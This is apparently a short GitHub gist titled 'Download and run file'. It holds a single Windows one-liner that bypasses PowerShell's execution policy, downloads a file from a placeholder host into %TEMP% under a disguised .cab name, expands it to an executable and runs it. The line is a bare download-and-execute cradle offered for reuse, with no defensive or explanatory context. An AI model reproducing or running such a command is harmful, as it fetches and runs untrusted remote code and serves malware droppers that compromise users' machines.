Skip to content

Instantly share code, notes, and snippets.

@jonaslejon
Created April 8, 2015 12:26
Show Gist options
  • Save jonaslejon/18c5d308e5f7d526a708 to your computer and use it in GitHub Desktop.
Save jonaslejon/18c5d308e5f7d526a708 to your computer and use it in GitHub Desktop.
Download and run file
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('https://x.x.x.x/file.exe','%TEMP%\\31231231.cab'); expand %TEMP%\31231231.cab %TEMP%\31231231.exe; start %TEMP%\31231231.exe;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment